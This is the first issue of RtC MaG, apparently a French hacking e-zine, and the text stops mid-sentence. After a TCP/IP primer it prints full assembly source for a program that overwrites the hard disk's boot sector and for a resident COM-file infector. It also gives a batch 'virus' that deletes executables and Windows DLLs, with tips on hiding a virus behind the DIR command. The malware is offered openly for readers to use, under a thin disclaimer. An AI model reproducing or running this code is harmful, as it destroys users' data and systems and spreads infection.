RtC MaG no 1 ****************************************************************************** ****************************************************************************** _____________________________ | | | ______| Call us: Par4noID, SnEaKie | ___|___ ___| | SLy | |\ \ | | | |_____ The ScienTisT, AndroGyne |_| \__\ |___| |_________| http://www.chez.com/rtcgang ****************************************************************************** ****************************************************************************** DISCLAIMER: LES AUTEURS NE PEUVENT EN AUCUN CAS ETRE TENUS RESPONSABLES DE L'UTILISATION FRAUDULEUSE DE CE DOCUMENT.CELUI-CI A EN EFFET ETE CREE DANS LE SOUCI DE PERMETTRE UNE MEILLEURE CONNAISSANCE DES SYSTEMES INFORMATIQUES ET NON DANS UN BUT DESTRUCTEUR , ILLEGAL, ET SURTOUT IMMORAL. LES AUTEURS DECLINENT AINSI TOUTE RESPONSABILITE QUANT A L'UTILISATION ILLEGALE DES INFORMATIONS FOURNIES CI DESSOUS. /////////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////// EDITO: Voici le premier numero (nous l'esperons d'une longue serie) de RTCMAG magazine sur la securite informatique (HACKING,VIRUS,PHREAKING).Si le g4ng RTC a aujourd'hui decide de sortir un E-ZINE c'est autant pour sortir de l'anonymat que pour partager ce qu'il a de connaissances. Parce que persuade que l'UNDERGROUND FRANCAIS gagnerait a etre plus organise je profite de cet EDITO pour signaler mon respect envers tout ceux qui comme nous essaient de le faire evoluer. We've got no ID call us g4ng RTC!!! ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// Sommaire : 1/ EDITO Par4noID 2/ Les bAses du TCP/IP SnEaKie 3/ CODE SOURCE d'UNE BOMBE INFORMATIQUE Par4noID 4/ Projet K_Os AndroGyne 5/ VIrus Batch SnEaKie 6 Manifeste contre l'utilisation des sockets de troie Par4noID 7/ Adapter un virus DOS a WINDOWS sans toucher au MODE PROTEGE AndroGyne 8/ Explication et Exploit sendmail 8.73 -> 8.83 Par4noID 9/ Ah! Un sujet qui lui tient à coeur ! The ScienTisT 10/ Comment planter yahoo, amazon: le smurf ! SLy 11/ TTL ou comment se faire tracer par de qq octets Par4noID 12/ Hacking Methode : le SPOOFING de connection Par4noID 13/ La BOMB INFO du mois AndroGyne 14/ Les nouveaux périphériques SnEaKie 15/ Join the G4nG ! ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// LES BASES DU TCP/IP ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// A|---| Introduction sur le TCP/IP B|---| La Pile de Protocole (OSI;TCP;...) C|---| L'encapsulation D|---| Les adresses internet Cet article se veut totalement éducatif, vous ne trouverez dans son contenu aucunes allusions explicites à de quelconques mises en application de ces théories. Ne comptez pas sur moi pour vous montrer comment se servir de tel ou tel logiciel qui fait le boulot à votre place : BO, WinNuke, etc... enfin, de tout ce ramassi de logiciels de merde ! (dont je venere l'inventeur pour son génie!). Mon but, ou plutôt celui de l'article est d'expliquer comment marchent les protocoles de liaison internet afin d'analyser les processus mis en oeuvre lors de connexions internet ou réseaux. Cet article se veut purement théorique mais prend toutes les bases nécessaires à la compréhension de certains procédés, Spoofing, Connexion server Proxy, Wingate, qui allient non seulement la maîtrise de certaines bases de TCP/IP mais aussi des bases en programmation C - et les rend publiques dans le seul but d'amorcer la compréhension de ces derniers. A|---| Les protocoles TCP/IP one été définis à partir des années 1960 et servaient à cette époque à délocaliser un systeme informatique de la defense americaine. Le departement de la defense americaine appele DARPA (= Defense Advanced Research Projects Agency) mit alors au point un systeme de reseau base sur la transmission de paquets. Cette tentative devait avoir pour effet de se proteger en cas d'une eventuelle attaque sur le centre nerveu du dispositif. Ce reseau de paquets signifie que chaque message est decoupe selon sa taille en plusieurs paquets qui seront tous transmis au destinataire souvent dans un ordre different de celui d'origine, car les paquets ont tendance a emprunter des "routes" tres differentes sur le reseau. Ce reseau developpe par la DARPA fut connu sous le nom de ARPANET. Il fut conçu bien avant l'ére des PCs. TCP/IP doit etre capable de fonctionner sous n'importe quelle plate-forme. De ce fait, on peut communiquer avec un ordinateur totalement different du sien afin de relier des machines entre elles. Cela signifie aussi que l'independance vis à vis des plates-formes, peut permettre aux ordinateurs de se connecter par n'importe quel support physique disponible, comme une ligne louée, un réseau X25, ou une connexion a distance. De par cette fonctionnalite, TCP/IP isole les applications qui tournent sur les ordinateurs en reseau de la partie physique des reseaux. Cependant, certaines conditions devaient etre accomplies pour permettre la communication entre deux ordinateurs : - Chaque ordinateur doit posseder une identification unique qui lui permet d'etre reconnu par les autres sur le reseau. - Chaque systeme doit creer une interface entre le nouveaux protocoles et le support physique utilise pour connecter le systeme au reseau. - Chaque ordinateur doit posseder programme permettant de lancer des requetes destinees aux ressources reseau. - L'evolution potentielle de reseau ne doit pas etre limitee par les nouveaux protocoles. - Les standards definissant les nouveaux protocoles doivent etre consruits pour s'adapter facilement aux nouvelles plates-formes. - Les standards de ces nouveaux protocoles ne peuvent etre limites par des marques, copyrights ou autres restrictions. Dans un reseau, les ordinateurs dans la tache difficile de connexion, sont assistes par differents protocoles de reseaux contenus dans la pile de protocoles. Cette meme pile est capable de regir toutes les operations effectuees que ce soit une requete de session, une fin de connexion, une erreur de connexion, un mail entrant ou sortant, etc... Cependant, sur le reseau, pour que tout le monde s'y retrouve, il faut que chacun sache avec qui il dialogue, un peu comme celui qui envoie une carte postale a quelqu'un. C'est a ce propos, que je vais vous parler des different types d'adressabilite. En effet, il en existe plusieurs, qui sont utilises dans differents types de transmissions : - Type DIFFUSION (Broadcast) Les donnees sont envoyees a toutes les machines du reseau. - Type MULTIDESTINATAIRE (Multicast) Les donnees sont envoyees a un groupe de machines. - Type MONODESTINATAIRE (Unicast) Les donnees ne sont envoyees qu'a une seule machine. Vous voyez alors apparaitre le probleme d'adressage, car comment envoyer des donnees a une seule machine, en monodestinataire donc, sans savoir comment l'identifier. De meme pour les donnees voulant etre envoyees en multidestinataire, comment savoir a qui l'envoyer car le groupe d'ordinateurs n'a pas d'adresse proprement dite. Un ancien protocole appele ARCnet identifiait les machines par une adresse purement numerique comprise entre 1 et 256, codee sur 1 octet donc. Vous imaginez bien que ce systeme a tres rapidement trouve ses limites, sur un reseau de 20 machines, ca va meme pas quand 1000 reseaux sont interconnectes et que donc des centaines de milliers de machines sont connectees entre elles. C'est alors que Dieu crea l'adresse IP. Elle est a l'Internet ce que l'adresse postale est au facteur. C'est a dire indispensable si l'on veut communiquer. Un nombre code en binaire sur 32 bits est appele ADRESSE IP. Elle est attribuee a chaque ordinateur du reseayu independamment de celle physique existante. Cette adresse appelle hote, tout ordinateur possedant une carte reseau conectee a un reseau TCP/IP. Un ordinateur possedant plusieurs cartes reliant plusieurs reseaux entre eux est aussi un hote mais il est special et appele routeur. Car il permet le routage IP, c'est a dire le relais en quelque sorte d'un reseau à un autre. B|---| La Pile de protocoles L'application qui genere une requete pour se connecter a un reseau TCP/IP est alors situe en haut de la pile et le bas de cette pile constitue l'interface avec le media lui-meme. Ce qui veut dire que le media dans ce cas est la liaison physique, ou plutot la carte reseau elle meme. Chaque couche possede un protocole ou des protocoles qui sont charges d'effectuer certaines taches bien specifiques qui sont necessaires pour la communication sur le reseau. La transmission generee par le dessus de la pile traverse toute la pile jusqu'en bas afin de se charger des informations specifique a chaques couches qui se doivent de specifier les options qu'elles utilisent par exemple, la vitesse de transmission des donnees propre au modem, le nombre de routeur que le paquet peut traverser avant d'etre detruit, etc... Pour traiter la requete, l'ordinateur cible doit posseder une pile reseau identique a celle de l'ordinateur emetteur et comporter les memes protocoles. La requete remonte cette fois-ci les couches et les memes processus sont effectues dans l'ordre inverse jusqu'a ce que le signal code atteigne l'application. L'ordinateur cible, grace a son application de traitement des informations envoyees, va se charger de repondre a l'ordinateur emetteur apres avoir traiter la requete. Il y a renvoie d'un accuse de reception seulement dans le cas ou le protocle emetteur et recepteur est oriente connexion qu'il soit fiable ou non-fiable. Nous verrons ceci dans un autre chapitre. Voici un schema tres simple de la correspondance entre le systeme de reference OSI (Open Systems Interconnection) et TCP (Transmission Control Protocol): Modele OSI TCP/IP ----------------- ------------------- I Application I -----> I I ----------------- + I Application I I Presentation I -----> I I ----------------- ------------------- I Session I -----> I I ----------------- + I Transport I I Transport I -----> I I ----------------- ------------------- I Reseau I -----> I Internet I ----------------- ------------------- I Liaison des I -----> I Liaison I I donnees I I I ----------------- ------------------- I Physique I ----------------- Ces couches sont totalement fictives seulement, elles sont tres utiles a l'etude de chaque tache effectuees par la machine dans l'echange des donnees car chacune de ces couches represente une fonctionnalite propre au domaine auquelle elle se rapporte. Par exemple, dans la couche Transport de TCP/IP, il y a des services de communication sous la forme de deux protocoles : TCP et UDP. Si ils n'etaient pas replace de leur contexte, cad, dans la bonne couche leur etude serait alors impossible. Les couches ne sont la que pour mieux se represente le fonctionnement du TCP/IP. Decrivons un peu ce que veut dire ces couches. Je vous passe l'explication du modele OSI, il est trop long et en plus, ce qui interesse c'est le TCP/IP, j'ai donne la correspondance pour ne pas rester ignorant car quand on parle de TCP/IP, on se doit de savoir quel est le modele qui lui sert de reference. Pour le TCP/IP donc, prenons les couches une par une : - Application - Ce sont des API comme winsock2.0 ou 1.1 qui ne sont pas des applications qui tournent sur l'ordinateur mais plutot des programmes qui sont l'intermediaire indispensable au dialogue entre OS(systeme d'exploitation) et le media (la carte reseau). - Transport - Comme dans le modele OSI, Transport fournit les services de communication sous forme de deux protocoles, comme je le disais tout à l'heure, sont TCP, et UDP (User Datagram Protocol). - Internet - Cette couche contient le protocole IP(Internet Protocol). Ce protocole est responsable de pleins de choses : decoupage, adressage et du routage des donnees vers leur destinataire. Deux autres protocoles operent au niveau de cette couche : ICMP(tres bien : Internet Control Message Protocol), et IGMP (Internet Group Management Protocol). - Liaison - Cette couche contient les protocoles qui favorisent l'acheminement des donnees IP sur le media. TCP/IP ne defini pas les fonctionnalites des couches Liaison des donnees et Physique de OSI mais integre des protocoles comme ARP et RARP qui fournit une inteface entre TCP/IP et le réseau physique. En effet, ARP est capable de convertir une adresse IP en une adresse materielle et RARP(Reverse ARP) fait l'inve, a partir d'une adresse materielle donne une adresse IP. Il existe cependant plusieurs formats de donnees pouvant transiter sur le reseau et selon les protocoles qui les generent, car les couches differents ne generent pas les memes formats de donnees, on peut les appeler de differentes sortes, en voici un exemple : On parle de Segment TCP, de Paquet UDP. Contenus dans un Datagramme IP Contenus tous dans une Trame Ethernet. SChematiquement: ---------------------------------------------- I I I --------------------------------- I I I ----------- ---------- I I I I I Segment I I Paquet I I I I I I TCP I I UDP I I I I I ----------- ---------- I I I I I I I I I I I I I I I I Datagramme IP I I I --------------------------------- I I Trame Ethernet I ---------------------------------------------- C|---| L'encapsulation. Lorsque des donnees sont envoyees, elles doivent traverser chaques couches du haut vers le bas comme on l'a vu tout a l'heure. A chaque fois que les donnees traversent une couche, des donnees propres a chaque couche leur sont ajoutees ainsi, chaque couche peut faire part de ses exigences pour l'ordinateur cible qui devra respecter ces conditions. Le fait que chaque protocole ajoute son propre controle aux donnees, est appele encapsulation. En fait chaque protocole un en-tete aux donnees de la couche superieure. Cet en-tete contient les donnees importantes et relatives a chaque protocole. Cet en-tete est forme de plusieurs octets et se rajoute "devant" les donnees utiles. Ex: -------------------------------------------------- I En-Tete I Donnees utiles I I Application I Application I -------------------------------------------------- Cette structure sera donnee a la couche directement inferieure soit, la couche Transport qui fera de meme avec ce qu'elle aura recu, ce qui fait que le protocole inferieur encapsule l'encapsulation du protocole superieur.Ainsi, l'en-tete Transport devient : -------------------------------------------------- I En-Tete I Donnees utiles I I Application I Application I -------------------------------------------------- --------------------------------------------------------------------- I En-Tete I Donnees utiles I I Transport I Transport I --------------------------------------------------------------------- Chaque en-tete est formee d'un certain nombre de champs, de differente taille, utilise par le protocole pour implementer les ervices necessaires a la transmission des donnees. Les donnees des champs peuvent effectuer plusieurs taches dont l'adressage, la fragmentation, la verification des erreurs et le controle de flux. En voici une courte description. - ADRESSAGE - Il apparait dans les en-tetes des protocoles, l'adresse de celui a qui vous envoyez les donnees, soit le destinataire. Quand un message est envoye a l'ordinateur distant, il doit etre dirige vers le bon protocole de chaque couche pour qu'il puisse atteindre l'application pour lequel il est destine. La structure peut se comparer alors a une arborescence. Un petit schema explicatif est alors interessant : FTP HTTP DNS SMTP SNMP | | | | | ---------------------------------- | | | | --------IP------- | | IPX/SPX <--------------------- Ethernet ---------------------> Appletalk Seulement pour que les protocoles puissent correspondre via la transmission, il faut alors que les chemins d'acces soient specifies et a ce propos, les chemins sont specifies dans les en-tetes des protocoles qui sont transmis. Pour etre exact ils sont enregistres dans un champ special de l'en-tete. - FRAGMENTATION - Dans un grand nombre de transmissions, le message est trop important pour tenir en un seul paquet, c'est pourquoi a ete cree la fragmentation des messages permettant d'envoyer des messages assez gros en plusieurs morceaux. Chaque morceau est determine par le type de support reseau utilise et chaque paquet nouvellement cree se voit assigner un numero qui lui sert d'intificateur. De ce fait tous les paquets arrivent et sont tres souvent reorganises car ils etaient dans le desordre. L'ordinateur distant possede un certain nombre de verifications a effectuer afin de verifier l'integrite des paquets qui lui ont ete envoye. Par exemple la taille de toutes les donnees contenues dans le paquet sont codees grace a un algorythme complexe et la valeur ainsi obtenue est placee dans un champ de l'en-tete. Apres reception et verification du bon nombre de paquets, il reste a l'ordinateur de verifier la taille du paquet reconstitue. Il trouve pour l'aider la valeur codee dans l'en-tete et la compare avec ce qu'il obtient en operant de la meme facon. - VERIFICATION DES ERREURS - Comme je l'ai deja dit, il existe plusieurs manieres de verifier l'integrite des paquets. Ces manieres sont baptisees processus de verification d'erreurs. Ces processus sont alors bases sur des techniques de calcul d'une valeur portant sur les donnees envoyees par l'emetteur. Cette valeur est alors sauvegardee sous un champ de l'en-tete. Lorsque le paquet arrive, le destinataire recalcule cette meme valeur et si les valeurs sont differents, alors cela signifie que les donnees ont ete changees en cours de route et donc que le paquet n'est plus l'original. Ceci n'est qu'une protection minimale, qui peut etre epaulee par un systeme plus performant qui fonctione avec le protocole Ethernet. Celui-ci calcule un CRC (Cyclical Redundancy Check) pour l'ensemble des donnees et l'envoie dans l'en-tete. A l'arrivee du paquet, le CRC est recalcule et meme si un seul bit des donnees a ete modifie, la valeur du CRC change. - CONTROLE DE FLUX - Ceci est la specification de la vitesse a laquelle un ordinateur destinataire peut recevoir les donnees qui lui sont envoyees. C'est un processus tres utilise dans la tansmission de plusieurs paquets, en effet, chaque paquet envoie un accuse de reception qui contient une valeur indiquant la quantite de donnees que peut recevoir le destinataire en un certain temps. Cette valeur peut alors varie pendant la transmission des donnees et il en resulte que l'emetteur devra reduire son taux d'envoi pour eviter un plantage du au surencombrement de la pile de protocoles du destinataire. D|---| Les adresses Internet (adresses IP) Lorsqu'un ordinateur souhaite envoyer des donnees a un de ses amis, il se doit de savoir ou il se situe. C'est alors qu'il fait reference a des adresses un peu speciales que l'ont appelle adresses internet mais plus communement, adresses IP. Ces adresses sont codees sur 32 Bits. Pour etre rapide, il en existe plusieurs classes qui sont A,B,C,D,E. Ces differentes classes different en fonction de leurs nombres maximum d'hotes mais aussi par leurs ecritures. Sur 32 Bits, ce qui veut dire qu'elles possedent quatre chiffres, representant chacun un octet, soit 8 Bits donc 8*4=32(pour ceux qui ne maitrise pas tres bien le passage du binaire au decimal qui est pourtant primordial en informatique!). Ces adresses peuvent donc a cet effet varier entre 0.0.0.0 et 255.255.255.255. Car un nombre binaire de 8 Bits exprime en decimal peut prendre une valeur de 0 a 255. Cette adresses represente alors l'adresse du reseau, l'adresse du sous-reseau et l'adresse de l'hote. Les classes d'adresses: Classe A = Dans une adresse de classe A, le premier bit de l'adresse est toujours a 0. Par defaut, les 8 premiers Bits definissent l'adresse reseau et les 24 Bits restant l'hote sur le reseau. Classe B = Dans une adresse de classe B, les deux premiers Bits de l'adresse ont toujours pour valeur 0 et 1. Par defaut, les 16 premiers Bits definisent l'adresse reseau et les 16 autres l'adresse de l'hote. Classe C = Dans une adresse de classe C, les trois premiers Bits de l'adresse ont toujours pour valeur 1,1 et 0. Par defaut, les 24 premiers Bits definisent l'adresse reseau et les 8 autres l'adresse de l'hote. Les classes A,B,C sont dites "monodestinataires",car elles identifient un seul hote. Classe D = La classe D n'identifie pas d'hotes mais un groupe d'ordinateurs qui ne sont pas necessairement situes sur le meme reseau mais qui recevront les memes paquets. Elle est dite multidestinataire. Classe E = Ces adresses sont reservees pour des usages futurs. D|---| Les Interfaces de programmation d'applications Encore appelees API, elles servent a l'application pour communiquer avec les protocoles. Cela permet entre autres, aux developpeures de ne pas avoir a modifier leurs applications en fonction de chaque protocole. WINDOWS SOCKETS Les applications TCP/IP se servent en majeur partie de cette API Windows. A l'heure actuelle, toutes les applications TCP/IP clientes comme les browsers, les lecteurs de news, FTP, les clients de messagerie et les utilitaires standards comme PING s'addressent directement a ces API afin de mener a bien leur tache. Cette API est basee sur l'interface socket de l'OS UNIX de Berkeley :)). Windows NT et Windows 95 possedent leurs propres implementations TCP/IP. ==> Un standard a ete mis au point portant le nom Windows Sockets Version 1.1. Il definit une interface comme les DLL Windows appelee Winsock.dll. Cette DLL est appelee afin d'acceder au systeme de transport des protocoles. De ce fait, tout programme compatible Winsock peut tourner sur toutes piles TCP/IP compatible. Winsock fournit deux types de sockets pour les requetes des applications. Pour les services orientes connexion, un stream socket qui utilise TCP, et pour les services sans connexion, un datagram socket utilisant UDP. PS : Fin dans le numéro2 de l'article du TCP/IP. Suite de ce cours avec en plus quelques explications sur certaines méthodes utiles au Hacking : pour l'instant, c'est très théorique!! Entrez en contact avec nous en nous mailant : rtcgang@yahoo.fr SnEaKie ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// CODE SOURCE D'UNE BOMBE INFORMATIQUE : BOOT4 BOMBA ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// Chaque mois Androgyne nous ecrira une chtite bomb info de sa composition(la BOMB INFO du mois). Pour la premiere du mag, j'ai decide moi aussi d'ecrire une bomb info(que j'utilise dans la plupart de mes virus) : la BOOT4 BOMB4 ! Voici donc le code source d'un programme info de ma composition : il s'agit de ce que l'on peut vulgairement appele une bombe informatique (comprenez par ici que ce programme s'attaque au systeme sur lequel il est lance). Plus exactement il ecrit un nouveau BOOT qui ecrase l'ancien . Prudence donc! Techniquement ce prog assembleur ecrit sur la premiere piste,premier secteur (le secteur lance au demarrage vous l'aurez compris) en appelant l'int 13h de la facon suivante: mov ax,301h ; INT 13h : mov cl,01h ; dh=numero de la piste mov ch,0 ; ah=fonction (ici 03 parce qu'on ECRIT) mov dh,0 ; al=nbre de secteur (on ecrit 1 secteur) mov dl,80h ; cl=secteur de depart (secteur 1) mov bx,offset NEWBOOT ; ch=numero de la tête (tete 0) int 13h ; dl=numero du disque (disque dur=80h) ; bx=offset du buffer (addresse de ce qui va ; etre ecrit sur l'ancien boot) (notons que nous faisons appel a l'INT 13h car l'INT 21h qui est celle du dos empeche l'ecriture sur le premier secteur) La seule "subtilite" technique reside dans le fait qu'il faut ECRIRE DEUX FOIS sur le premier secteur, une seule tentative d'ecriture renvoie en effet une erreur. On reitere donc la tentative d'ecriture (on n'a pas besoin de specifier les parametres une seconde fois). mov ax,301h ; On reecrit. En effet, l'ecriture du BOOT int 13h ; necessite deux essais pour reussir. Ensuite fin du prog !!! mov ax,4C00h ; Specifie la fin du programme. int 21h Le programme a donc ecrit ce qu'il y'avait a l'addresse NEWBOOT ( ce qui explique le mov bx,offset newboot de la premiere partie) sur l'ancien boot. A vous maintenant de creer votre nouveau boot NEWBOOT: (N'oublier pas cependant que l'on ne peut appeler que les instructions BIOS l'INT DOS (21h) n'etant pas encore chargee!) Voici des lors le code de BOOT4 BOMBA (si vous l'utiliser faite le sur votre ordinahahahahahahteur !! ) ----------------------------------CUT HERE------------------------------------ .model tiny ; Declaration de la pile .code ORG 100H ; Compilation d'un COM Start: mov ax,301h ; INT 13h : mov cl,01h ; dh=numéro de la piste mov ch,0 ; ah=fonction (ici 03 parce qu'on ECRIT ) mov dh,0 ; al=nbre de secteur (1 secteur) mov dl,80h ; cl=secteur de depart (secteur 1) mov bx,offset NEWBOOT ; ch=numéro de la tete (tete 0) int 13h ; dl=numéro du disque (disque dur=80h) ; bx=offset du buffer (etiquette NEWBOOT) mov ax,301h ; On reecrit. En effet, l'écriture du BOOT int 13h ; necessite deux essais pour reussir. mov ax,4C00h ; Specifie la fin du programme. int 21h ORG 7C00H ; Le BOOT demarre a cette adresse. NEWBOOT: ; Depart du nouveau BOOT. mov si,offset msg ;Ce nouveau BOOT ne fait qu'afficher la chaine ; "BOOT4 BOMBA WRITTEN BY Par4noID". On ne peut pas MESSAGE: ; utiliser l'INT 21h car le DOS n'est pas encore installee. lodsb ; lodsb charge dans AL le caractère situé à or al,al ; es:si puis incrémente si jz Fin mov ah,0EH int 10h ; L'INT 10h affiche le caractère situé dans AL. jmp MESSAGE Fin: ret msg db 'BOOT4 BOMBA WRITTEN BY Par4noID',7,7,7,7,7,7,7,7,7,7,7,7,7,0 ;le 7 emet un BIP. END Start ; WRITTEN BY Par4noID ----------------------------------CUT HERE------------------------------------ ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// PROJET K_OS ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// Le projet K_os a un simple but : créer un virus. Mais pas n'importe quel virus : ce virus va évoluer petit à petit, être de plus en plus efficace, jusqu'à atteindre un niveau vraiment intéressant... Voici le code source de la version 1. Pour l'instant, c'est un simple infecteur de com, résidant dans la table des vecteurs d'interruptions à partir de l'addresse 0000:0200. Il n'a pas encore un grand potentiel (je l'essaye chez moi) mais il ne demande qu'à grandir. Androgyne and Par4noID ATTENTION ! ANDROGYNE ET PAR4NOID DECLINE TOUTE RESPONSABILITE QUANT A L'UTILISATION DE CE CODE ! COMME D'HABITUDE... ------------------------------------------------------------------------------ .model tiny .code ORG 100h Start: call Test_mem jz Exec_host call Rec_int21 call Mise_mem call Det_int21 jmp Exec_host Mise_mem: xor ax,ax push ax pop es mov di,200h mov si,offset start mov cx,offset fin-offset start + 1 rep movsb ret Test_mem: xor ax,ax push ax pop es mov di,200h mov si,offset start mov cx,10h repz cmpsb ret Rec_int21: xor ax,ax push ax pop es mov bx,0068h mov ax,es:[bx] mov bx,offset old21 mov [bx],ax mov bx,006Ah mov ax,es:[bx] mov bx,offset old21 + 2 mov [bx],ax ret Det_int21: mov bx,offset new21 + 2 mov [bx],offset New_Int21 + 100h xor ax,ax push ax pop es mov di,0068h mov si,offset new21 mov cx,2 cli rep movsw sti ret Exec_host: push cs pop es mov di,100h push cs pop ds mov si,offset five mov cx,6 rep movsb jmp cs:0100h New_Int21: cmp ah,3Dh je Infect_file jmp dword ptr 0000:[old21+100h] Deb: sub ax,2 jmp Start Infect_file: push ax push bx push cx push dx push es push si push ds push di mov si,dx Boucle: lodsb or al,al jz Popend cmp al,'.' jne Boucle lodsb cmp al,'c' jne Popend lodsw cmp ax,'mo' jne Popend mov ax,3D02h pushf call dword ptr 0000:[old21+100h] jc Popend mov bx,ax xor ax,ax push ax pop ds mov cx,6 mov dx,offset Five+100h mov ah,3Fh int 21h mov cx,3 mov si,dx push ds pop es mov di,offset deb+100h repz cmpsb jz close_file xor cx,cx xor dx,dx mov ax,4202h int 21h mov cx,offset fin - offset start +1 xor ax,ax push ax pop ds mov dx,0200h mov ah,40h int 21h xor cx,cx xor dx,dx mov ax,4200h int 21h mov dx,offset deb +100 mov cx,6 mov ah,40h int 21h Close_file: mov ah,3Eh int 21h Popend: pop di pop ds pop si pop es pop dx pop cx pop bx pop ax ret old21 dd 00000000 new21 dd 00000000 five db 6 dup(0) fin: end start ------------------------------------------------------------------------------ ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// SnEaKie VIRUS ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// A|---| Intro sur ce qu'est concretement le Batch et ses possibilites. B|---| Rappel des differentes fonctions utilisables. C|---| Introduction a cette programmation simple. D|---| Source d'un virus assez puissant. Certes, moins complexe et plus lente que la programmation assembleur, ce type de programmation semble démodé et pourtant, elle est toujours utile que ce soit pour les utilisateurs de Win98,Win95 ou même Win3.11 ou les "encore plus anciens" qui tournent sous MsDos 6.2 ou inférieur. Cette programmation permet de créer des raccourcis grâce à des variables qui peuvent être insérées comme texte à taper. Selon vous, ces conditions sont-elles réalisables avec la programmation BATCH : 1) Un virus r‚sident ( Pas dans le sens ou l'on l'entend habituellement. ) 2) Un virus qui s'active sur une faute de frappe. 3) Un virus qui infecte le d‚marrage de l'ordinateur. Et bien OUI , ces conditions sont tout à fait réalisables grâce à la programmation Batch. Commençons par le commencement ; il existe différents cas de figure : - Soit vous possédez une machine qui tourne sous MsDos, auquel cas vous n'avez d'autres moyens pour rendre votre virus résident que de le lancer au démarrage de l'ordinateur en spécifiant son adresse complète dans le fichier de démarrage le plus virolé (car très facile à faire) l'Autoexec.bat qui va de paire avec son confrère Config.sys qui sert à charger des gestionnaires (pas toujours très sûr grâce à l'assembleur : -) - Soit vous possédez une machine qui tourne sous Win98, 95 ou Win3.11, dans ce cas, il vous suffit de procéder exactement comme avec MsDos ainsi que les commandes de ce dernier. - Soit avec Win98 et 95, le plus facile. Saviez-vous que sous Win98/95 existe un répertoire appelé COMMAND , dans ce dernier gisent les commandes MsDos utilisables sous Windows. Saviez-vous aussi que ces dernières sont "montées" ou "chargées" au démarrage de Windaube pardon , Windows donc si modification de ces commandes: virus chargé :)) Prenons l'exemple de cette bonne vieille commande DIR.exe si vous créez une nouvelle commande DIR.bat qui appelle l'ancienne commande DIR.exe qui a été déplacée au préalable, comme suit : move c:\windows\command\dir.exe c:\windows\system\dir.exe ===> Ceci déplace votre DIR.exe dans le nouveau dossier que vous avez spécifié ici, c:\windows\system. Ensuite, vous faites un autre Bat qui lance votre virus avant ou après le lancement de DIR.exe. %lancement de votre virus% call c:\windows\system\dir.exe ==> La commande call permet de lancer le fichier sans fermer %ou lancement de votre virus% ==> le Bat en cours d'éxécution. Ces opérations vous assure qu'une fois que l'utilisateur se servira de ce fichier, il lancera votre virus avant ou après redémarrage de sa machine. Encore faut-il que celui-ci ne se rende pas compte que son fichier à changé d'extension. Ce petit intermède étant fait dans le but d'initier quelques-uns des lecteurs de ce zine. Maintenant passons aux choses plus sérieuses, je pourrais faire un cours sur les variables si certains d'entre vous m'envoie des réclamations, mais passons plutôt à la programmation de virus "violents" et suffisamment évolués pour faire planter grave des milliers de machines. ************* *CHAPTER ONE* ************* I ) PETIT VIRUS SIMPLE DE MA COMPOSITION : @echo off ; cette commande désactive l'affichage de certains compte- rendus cls ; comme toujours, cela efface l'écran. :debut ; ‚tiquette qui sert à faire des renvois. if exist 1.txt goto 1 ; Petite bombe à retardement , 1,2,3fois rien et puis après ... if exit 2.txt goto 2 if exist 3.txt goto 3 if exist 4.txt goto 4 :1 del 1.txt goto fin2 :2 del c:\2.txt goto fin2 :3 del c:\3.txt goto fin2 :fin2 echo Ce programme marche a merveille ! ; cette ligne sert lors de l'essai de ce retardement. :4 :virus if exist c:\virus.txt goto impression ; il existe des tests, pour vérifier si les fichiers existent. :nonimpression echo WARNING A Virus Has Intruded Your System ! >c:\virus.txt ;le > signifie qu'il créé un fichier. c:\windows\command\print < c:\hackviru\o.txt ; le < signifie qu'il regarde le ;contenu du fichier et qu'il l' ;assimile au fichier qu'il lance, ;utile lorsqu'il faut des ;confirmations. goto impression :repro ; Le 'goto' est un renvoie 'go to'. for %%a in (*.bat) do type %%a | find "sn" >text.vir ; ces quelques lignes méritent explications plus for %%a in (*.bat) do copy %%a %%a.kil ; bas ! for %%a in (*.bat) do copy text.vir + %%a.kil %%a :repro2 for %%a in (*.com) do del %%a :repro3 for %%a in (*.exe) do del %%a :windows cd c:\windows :dll for %%a in (*.dll) do del %%a del win.exe :print ; il y a une boucle a cet endroit pour que l'impression soit print c:\virus.txt ; réalisée en boucle qui démarre ici et qui finit au renvoi goto continuee ; 'goto print'. :impression print c:\virus.txt goto continuee :continuee goto print Attention celui-ci fait appel à d'autres fichiers qui sont des sous-fichiers. ---------------------------------------- Comme promis , les explications de : For %%a in (*.bat) do type %%a | find "sn" >text.vir Le For %%a in (*.bat) do ..... signifie que pour tous les fichiers *.bat du répertoire de travail, il fera telle ou telle chose spécifiée. La suite : do type %%a ==> Cela veut dire qu'il ouvre à vitesse rapide les fichiers qu'il aura trouvés en *.bat et le : |find "sn" > text.vir ==> déja, "|" veut dire qu'il fait les deux opérations séparées par cette barre à la fois et find "sn" signifie qu'il va se mettre à la recherche de ces caractères "sn" comme Snake! et > text.vir veut dire qu'il va mettre en mémoire les infos trouvées qui contiennent "sn" et qu'il va créer un fichier du nom de text.vir qui contiendra les lignes virolées car se seront celles qui seront trouvées. De même lorque vous voyez For %%a in (*.bat) do del %%a , veut dire que lorsque les fichiers qui possèdent l'extension spécifiée seront trouvés, alors ils seront supprimés : Del signifie supprimer. II ) PETITS RAPPELS SUR QUELQUES FONCTIONS BATCH AMBIGUES. A |----| Maintenant un petit rappel assez simple pour ceux qui veulent infecter des fichiers sans pour autant en changer le nom, il suffit de fusionner 2 fichiers (virus + programme de base) afin qu'il ne fasse plus qu'un (programme virolé). Pour cela, il existe 2 types d'opérations différentes qui conduisent au même résultat. 1) copy exemple.txt + exemple2.txt exemple.txp ==> lors de cette opération, le premier fichier spécifié qui s'appelle exemple.txt sera placé avant l'autre fichier du nom d'exemple2.txt et ces deux fichiers une fois fusionnés donneront naissance à un fichier intitulé exemple.txp. 2) lorsqu'il s'agit de copier un virus qui possède une signature, par exemple. Type exemple.txt | find "Virus">> exemple.txp B |----| Petit inconvénient de la commande print ! (solvable bien sûr :-) Avec la commande print réside un problème imminent ; en effet, il faut lancer la 